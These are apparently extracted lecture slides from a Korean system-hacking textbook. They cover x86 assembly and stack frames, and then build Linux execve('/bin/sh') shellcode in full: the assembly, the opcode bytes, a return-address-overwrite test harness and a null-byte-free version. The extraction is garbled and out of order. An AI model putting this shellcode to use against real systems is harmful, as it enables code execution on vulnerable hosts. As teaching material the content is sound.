(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 24: 80×86  시스템에 대한 이해

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

